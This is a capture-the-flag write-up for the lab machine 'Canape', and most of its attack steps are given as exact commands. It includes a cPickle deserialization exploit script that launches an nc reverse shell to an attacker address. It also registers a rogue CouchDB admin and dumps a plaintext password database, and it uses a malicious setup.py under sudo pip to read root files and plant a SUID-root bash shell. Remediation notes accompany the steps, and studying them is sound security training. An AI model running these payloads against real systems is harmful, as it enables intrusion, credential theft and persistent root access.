Canape
Summary
Reconnaissance against $TARGET revealed Apache 2.4.29 on port 80 with an exposed .git directory that disclosed the full Flask application source code hosted at git.canape.htb. Reviewing that source uncovered a Python cPickle deserialization sink in the /submit endpoint — a class of vulnerability that permits arbitrary code execution with no safe input subset.
A crafted pickle payload delivered over HTTP triggered a reverse shell as the web service user. From that foothold, a locally-bound CouchDB instance running in its default admin-party state — no administrator configured — allowed an unauthenticated HTTP request to register a rogue admin account and dump a passwords database containing plaintext OS credentials.
Those credentials unlocked SSH access on the non-standard port 65535 as user homer. A sudo rule granting homer unrestricted use of /usr/bin/pip install as root was then exploited: a malicious Python package whose setup.py invoked os.system() was installed, executing as root and yielding the root flag plus a persistent SUID-root shell — full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD5="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <key-from-source>, <submission-id> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Service-version scan; note SSH on 65535 and CouchDB on 5984 (localhost-bound).
$ nmap -sV -Pn -p 80,5984,65535 $TARGETA 200 response with 'ref: refs/heads/master' confirms the .git directory is web-accessible.
$ curl -si http://$TARGET/.git/HEADRegister the discovered virtual-host names for local DNS resolution.
$ echo "$TARGET canape.htb git.canape.htb" | sudo tee -a /etc/hostsClone the full repository to a local working copy for source analysis.
$ git clone --depth 1 http://git.canape.htb/simpsons.git canape-simpsonsFixRemove the .git directory from the public web rootHigh
Exact commands 1
Locate the serialisation/deserialisation calls and the MD5 signing key in the cloned source.
$ grep -n 'pickle\|cPickle\|md5\|hashlib\|submit\|check' canape-simpsons/__init__.pyFixReplace Python cPickle deserialization of user-influenced data with a safe data formatCritical
Exact commands 4
Start the reverse-shell listener before submitting the payload (separate terminal).
$ nc -lvnp 4444Exploit.py contents shown below; replace $ATTACKER_IP with your tun0 address and APP_SECRET with the key from __init__.py.
$ python2 exploit.pyPaste into exploit.py; adjust the signing call to match the exact MD5 usage in __init__.py.
$ # exploit.py
# import cPickle, os, base64, hashlib, requests
# ATTACKER_IP = "$ATTACKER_IP"
# APP_SECRET = '<key-from-source>'
# class E(object):
# def __reduce__(self):
# return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc '+$ATTACKER_IP+' 4444 >/tmp/f',))
# p = base64.b64encode(cPickle.dumps(E()))
# c = 'Homer'
# sig = hashlib.md5(c + p).hexdigest()
# r = requests.post('http://canape.htb/submit', data={'character':c,'quote':p,'id':sig})
# print r.textTrigger deserialisation; the submission id is returned by /submit or visible in the stored filename on disk.
$ curl -s 'http://canape.htb/check' -d 'id=<submission-id>'Exact commands 3
From the web shell — confirm CouchDB is reachable; a response containing 'couchdb' with no WWW-Authenticate header confirms admin-party mode.
$ curl -s http://127.0.0.1:5984/Enumerate all databases without credentials; successful response confirms admin-party.
$ curl -s http://127.0.0.1:5984/_all_dbsRegister a rogue _admin account; succeeds with no prior authentication in admin-party mode.
$ curl -s -X PUT http://127.0.0.1:5984/_users/org.couchdb.user:adm -H 'Content-Type: application/json' -d '{"type":"user","name":"adm","roles":["_admin"],"password":"'"$PASSWORD5"'"}'FixConfigure a CouchDB administrator at installation and disable the admin-party defaultCritical
Exact commands 2
List all databases with the rogue admin account; identify the passwords database.
$ curl -s -u adm:$PASSWORD5 'http://127.0.0.1:5984/_all_dbs'Dump all credential documents; credentials are stored in cleartext fields.
$ curl -s -u adm:$PASSWORD5 'http://127.0.0.1:5984/passwords/_all_docs?include_docs=true'FixStop storing credentials in plaintext; replace with a secrets-management systemCritical
Exact commands 2
Password: $PASSWORD (recovered from CouchDB passwords database).
$ ssh -p 65535 homer@$TARGETUser flag: <user.txt>
$ cat /home/homer/user.txtExact commands 5
Confirm the pip install sudo rule as homer; expect: (root) NOPASSWD: /usr/bin/pip install.
$ sudo -lStage a malicious setup.py in a temp directory; the \n sequences are printf escape codes for newlines.
$ D=$(mktemp -d) && printf 'from setuptools import setup\nimport os\nos.system("cp /root/root.txt /tmp/.rflag && chmod 644 /tmp/.rflag && chmod u+s /bin/bash")\nsetup(name="y",version="1.0")\n' > "$D/setup.py"Install the local package as root; setup.py executes immediately under root's UID.
$ sudo /usr/bin/pip install "$D"Read the root flag: <root.txt>
$ cat /tmp/.rflagDrop into a SUID-root bash shell for persistent access; -p preserves effective UID root.
$ /bin/bash -pFixRemove the unrestricted sudo pip install privilege from homerCritical
Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
| 65535/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.